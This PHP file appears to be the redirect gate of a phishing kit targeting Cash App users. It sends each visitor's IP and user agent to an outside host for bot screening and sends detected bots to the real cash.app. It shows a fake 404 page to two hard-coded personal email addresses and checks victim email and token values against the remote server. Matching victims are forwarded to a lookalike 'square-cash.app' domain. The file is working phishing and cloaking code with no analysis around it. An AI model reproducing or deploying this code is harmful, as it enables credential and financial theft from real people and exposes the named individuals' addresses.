<?php
// ------------------------------
// Detect IP + User-Agent
// ------------------------------
if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
    $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
} elseif (!empty($_GET['ip'])) {
    $ip = $_GET['ip'];
} elseif (!empty($_SERVER['REMOTE_ADDR'])) {
    $ip = $_SERVER['REMOTE_ADDR'];
} else {
    $ip = 'unknown';
}
function get_token_data($email, $token, $id){
     $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://privatevault.id/telegram/get.php?email=" . $email . "&token=" . $token . "&id=" . $id);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    return json_decode($output, true);
}
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ($_GET['ua'] ?? 'unknown');

// ------------------------------
// Send info to netshort.dracin.org
// ------------------------------
$url = 'https://privatevault.id/blocker/?ip=' . urlencode($ip) . '&ua=' . urlencode($userAgent);

$ch = curl_init($url);

$headers = [
    'User-Agent: ' . $userAgent,
    'X-Forwarded-For: ' . $ip,
];

curl_setopt_array($ch, [
    CURLOPT_HTTPHEADER     => $headers,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_TIMEOUT        => 15,
]);

$response = curl_exec($ch);
curl_close($ch);

$data = json_decode($response, true);

 
// Convert bot string "true"/"false" to boolean
$bot = filter_var($data['bot'], FILTER_VALIDATE_BOOLEAN);
if ($bot) {
    header("Location: https://cash.app");
    exit;
} 
if(@$_GET['email'] && @$_GET['token'] && @$_GET['id']){
    $email = @$_GET['email'];
    $token = @$_GET['token'];
    $id = @$_GET['id'];
    $data = get_token_data($email, $token, $id);
    if(  $email == "tfvanderhoff88@hotmail.com" ||
    $email == "lmk1019@hotmail.com"){
        echo '
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center> 
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
';
        die;
        
    }
    if ($data['message'] == 'Match.') {
        header('Location: https://verify-mobile.square-cash.app/?email='.$email.'&token='.$token.'&id='.$id);
        exit;
    }
     
}else{
    header('Location: https://google.com');
    exit;
}
// ------------------------------
// Redirect based on bot/human
// ------------------------------